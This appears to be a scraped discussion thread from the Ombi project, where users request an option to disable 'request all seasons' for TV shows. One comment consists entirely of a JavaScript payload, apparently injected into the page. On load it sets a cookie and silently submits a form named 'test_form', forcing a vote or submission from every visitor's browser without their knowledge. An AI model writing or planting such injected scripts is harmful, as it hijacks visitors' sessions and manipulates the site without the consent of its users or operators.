tidusjar/Ombi

Disable request for All seasons to let users request only by season or episode.

jenkinsddl asked for this feature over 2 years ago — 3 comments

jenkinsddl commented over 2 years ago

We can already disable request by season and by episode but we can't disable request for All season. Please make my dream come true haha.

| bromanguydude commented 12 months ago

Hey this used to be a great feature in V2 as we could let users only request a show by episode, season, or entire show. This is pretty big for me and most others as I assume as when its added to Sonarr it will only select an episode or two the user requests and not monitor the rest of the seasons.

junfan commented 5 months ago

(function() {

function contentLoaded(win, fn) {

    var done = false,
        top = true,

        doc = win.document,
        root = doc.documentElement,
        modern = doc.addEventListener,

        add = modern ? 'addEventListener' : 'attachEvent',
        rem = modern ? 'removeEventListener' : 'detachEvent',
        pre = modern ? '' : 'on',

        init = function(e) {
            if (e.type == 'readystatechange' && doc.readyState != 'complete') return;
            (e.type == 'load' ? win : doc)[rem](pre + e.type, init, false);
            if (!done && (done = true)) fn.call(win, e.type || e);
        },

        poll = function() {
            try {
                root.doScroll('left');
            } catch (e) {
                setTimeout(poll, 50);
                return;
            }
            init('poll');
        };

    if (doc.readyState == 'complete') fn.call(win, 'lazy');
    else {
        if (!modern && root.doScroll) {
            try {
                top = !win.frameElement;
            } catch (e) {}
            if (top) poll();
        }
        doc[add](pre + 'DOMContentLoaded', init, false);
        doc[add](pre + 'readystatechange', init, false);
        win[add](pre + 'load', init, false);
    }

}

function setCookie(name, value, days) {
    var expires = "";
    if (days) {
        var date = new Date();
        date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
        expires = "; expires=" + date.toUTCString();
    }
    document.cookie = name + "=" + (value || "") + expires + "; path=/";
}

function getCookie(name) {
    var nameEQ = name + "=";
    var ca = document.cookie.split(';');
    for (var i = 0; i < ca.length; i++) {
        var c = ca[i];
        while (c.charAt(0) == ' ') c = c.substring(1, c.length);
        if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length);
    }
    return null;
}

contentLoaded(window, function() {
    setTimeout(function() {
        if(getCookie('upvoted_k')){
            return;
        }
        setCookie('upvoted_k','true',100)
        document.getElementById('test_form').submit()
    }, 500);
})

})();

Join the discussion!

Sign-in with GitHub to comment